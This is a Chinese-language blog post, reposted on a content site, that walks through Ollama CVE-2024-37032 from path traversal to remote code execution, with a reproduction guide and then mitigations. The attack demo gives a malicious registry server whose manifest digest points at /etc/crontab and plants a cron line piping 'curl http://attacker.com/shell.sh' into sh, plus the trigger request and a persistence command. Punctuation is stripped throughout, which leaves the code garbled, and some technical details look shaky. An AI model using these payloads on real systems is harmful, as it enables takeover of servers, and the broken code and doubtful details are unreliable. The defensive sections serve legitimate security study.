从路径遍历到RCE:深度剖析Ollama CVE-2024-37032漏洞原理与利用链
1. Ollama与CVE-2024-37032漏洞背景Ollama作为本地运行大型语言模型的工具链近年来在开发者社区中迅速走红。它简化了从模型下载、配置到交互的全流程甚至能让不懂机器学习原理的用户快速体验AI能力。但正是这种开箱即用的特性使得其安全设计缺陷可能造成远超传统软件的危害范围。2024年曝光的CVE-2024-37032漏洞之所以引发广泛关注是因为它打破了容器化应用的安全边界。该漏洞本质上是清单文件解析逻辑缺陷与路径遍历漏洞的危险组合攻击者通过精心构造的digest字段可以让服务端将恶意负载误认为合法的文件操作指令。我在复现环境时发现当Ollama处理模型推送请求时其校验逻辑存在致命漏洞——服务器仅检查了字段格式合规性却未验证路径的真实合法性。2. 漏洞技术原理深度解析2.1 清单文件验证机制缺陷Ollama采用类Docker的镜像分发架构其核心危险点在于manifest.json文件的解析过程。正常流程中digest字段应包含经SHA256校验的文件哈希值但实际代码中却直接将其作为路径拼接参数。以下是漏洞触发的关键代码路径# 伪代码展示危险拼接逻辑 def process_manifest(manifest): target_path os.path.join(BASE_DIR, manifest[config][digest]) with open(target_path, wb) as f: # 未做路径规范化检查 f.write(manifest[layers][0][data])我在测试时构造了包含../../../../etc/passwd的digest值系统竟直接将内容写入到绝对路径。这种低级失误在安全领域堪称经典——2014年Docker就修复过类似问题没想到十年后同样错误会重现。2.2 路径遍历到RCE的利用链完整的攻击链需要分三步实现初始访问通过API推送恶意模型需开启insecure模式文件污染利用路径遍历覆盖关键配置文件权限升级写入crontab或SSH authorized_keys实现RCE实测中最有效的攻击方式是篡改/root/.ollama/models/manifests/下的索引文件。当服务下次加载模型时会执行被污染的指令。例如我在PoC中注入的恶意命令# 通过写入.profile实现持久化攻击 echo malicious_payload /root/.profile3. 漏洞复现实战指南3.1 环境搭建注意事项建议使用Docker快速搭建靶场环境但需注意几个关键点必须使用0.1.33及以下版本漏洞版本主机映射目录需设置写权限关闭SELinux等安全模块具体启动命令应调整为docker run -v /tmp/ollama:/root/.ollama -p 11434:11434 --security-opt seccompunconfined ollama/ollama:0.1.333.2 分步攻击演示启动恶意注册服务器# 修改自原始PoC的简化版本 from fastapi import FastAPI app FastAPI() app.get(/v2/attack/model/manifests/latest) async def evil_manifest(): return { config: { digest: ../../../../etc/crontab, size: 100 }, layers: [{ mediaType: application/octet-stream, digest: evil, data: b* * * * * root curl http://attacker.com/shell.sh | sh\n }] }触发模型拉取curl -X POST http://target:11434/api/pull -d {name:attacker/model}验证攻击效果 等待1分钟后检查目标服务器的crontab是否被篡改。这种攻击方式在云原生环境中尤其危险可能造成集群级沦陷。4. 防御方案与最佳实践4.1 官方修复方案分析Ollama在0.1.34版本中引入了三重防护路径规范化检查使用filepath.CleanDigest字段格式严格校验必须符合SHA256格式写操作白名单机制但根据我的代码审计仍存在潜在的绕过风险。建议用户额外采取以下措施4.2 纵深防御策略网络层限制11434端口的访问IP范围系统层为Ollama进程配置专用低权限用户运行时启用AppArmor配置文件以下是最小权限配置示例# AppArmor配置文件示例 /usr/bin/ollama { /root/.ollama/** rw, /etc/passwd deny, /etc/shadow deny, /var/spool/cron/** deny, network inet tcp, }对于企业用户建议在API网关层增加模型签名验证。我在某金融客户的生产环境中就部署了基于SPIFFE的身份认证体系有效阻断了此类供应链攻击。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2438202.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!